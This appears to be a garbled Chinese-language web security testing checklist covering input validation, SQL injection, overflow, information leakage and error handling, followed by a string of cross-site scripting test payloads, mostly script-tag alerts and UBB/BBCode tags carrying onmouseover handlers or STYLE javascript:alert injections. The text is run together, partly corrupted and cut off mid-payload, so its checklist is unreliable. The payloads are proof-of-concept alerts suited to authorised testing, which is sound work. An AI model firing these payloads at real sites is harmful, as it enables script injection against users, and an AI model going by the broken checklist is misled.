常規(guī)Web安全測(cè)試檢查內(nèi)容及建立整體的模型，測(cè)試溢出、信息泄漏、錯(cuò)誤處理、SQL注入、驗(yàn)證1、輸入驗(yàn)客戶端驗(yàn)證服務(wù)器端驗(yàn)證(禁用調(diào)試，禁用NULL,null，0x0d（小數(shù),字母,空值;要求輸入字母則檢查輸入數(shù)字htmljavascript輸入<inputtype=”text”name=”user輸入<scripttype=”text/javascript”>alert(“提示”)</script>看是否出現(xiàn)提關(guān)于上傳0K避免輸入2關(guān)于urlhtmlJavaScript[url=.****.com]你的UBB [img][img].****/03.jpg"onmouseover=alert('o');"[/img][bSTYLE="background-image:url(javascript:alert('XSS'))"]一首詩(shī)酸澀澀服務(wù)網(wǎng)[iSTYLE="background-image:url(javascript:alert('XSS'))"]一二三四五六七[font=STYLE="background-image:url(javascript:alert('XSS'))"]一二[size=4STYLE="background-imageurl(javascript:alert('XSS'))"]一二三四五六七[color=RedSTYLE="background-imageurl(javascript:alert('XSS'))"]一二三四五六七[align=centerSTYLE="background-imageurl(javascript:alert('XSS'))"]一二三四五六[float=left"STYLE="background-imageurl(javascript:alert('XSS'))"]一二三四五六七北[font=STYLE="background-imageurl(javascript:alert('XSS'))"]一二三四五[size=4STYLE="background-imageurl(javascript:alert('XSS'))"]一二三四五六七[color=RedSTYLE="background-imageurl(javascript:alert('XSS'))"]一二三四五六七[align=centerSTYLE="background-imageurl(javascript:alert('XSS'))"]一二三四五六[float=leftSTYLE="background-imageurl(javascript:alert('XSS'))"]一二三四五六七北輸出編<input1.jpg"onmouseover="alert('xss')';al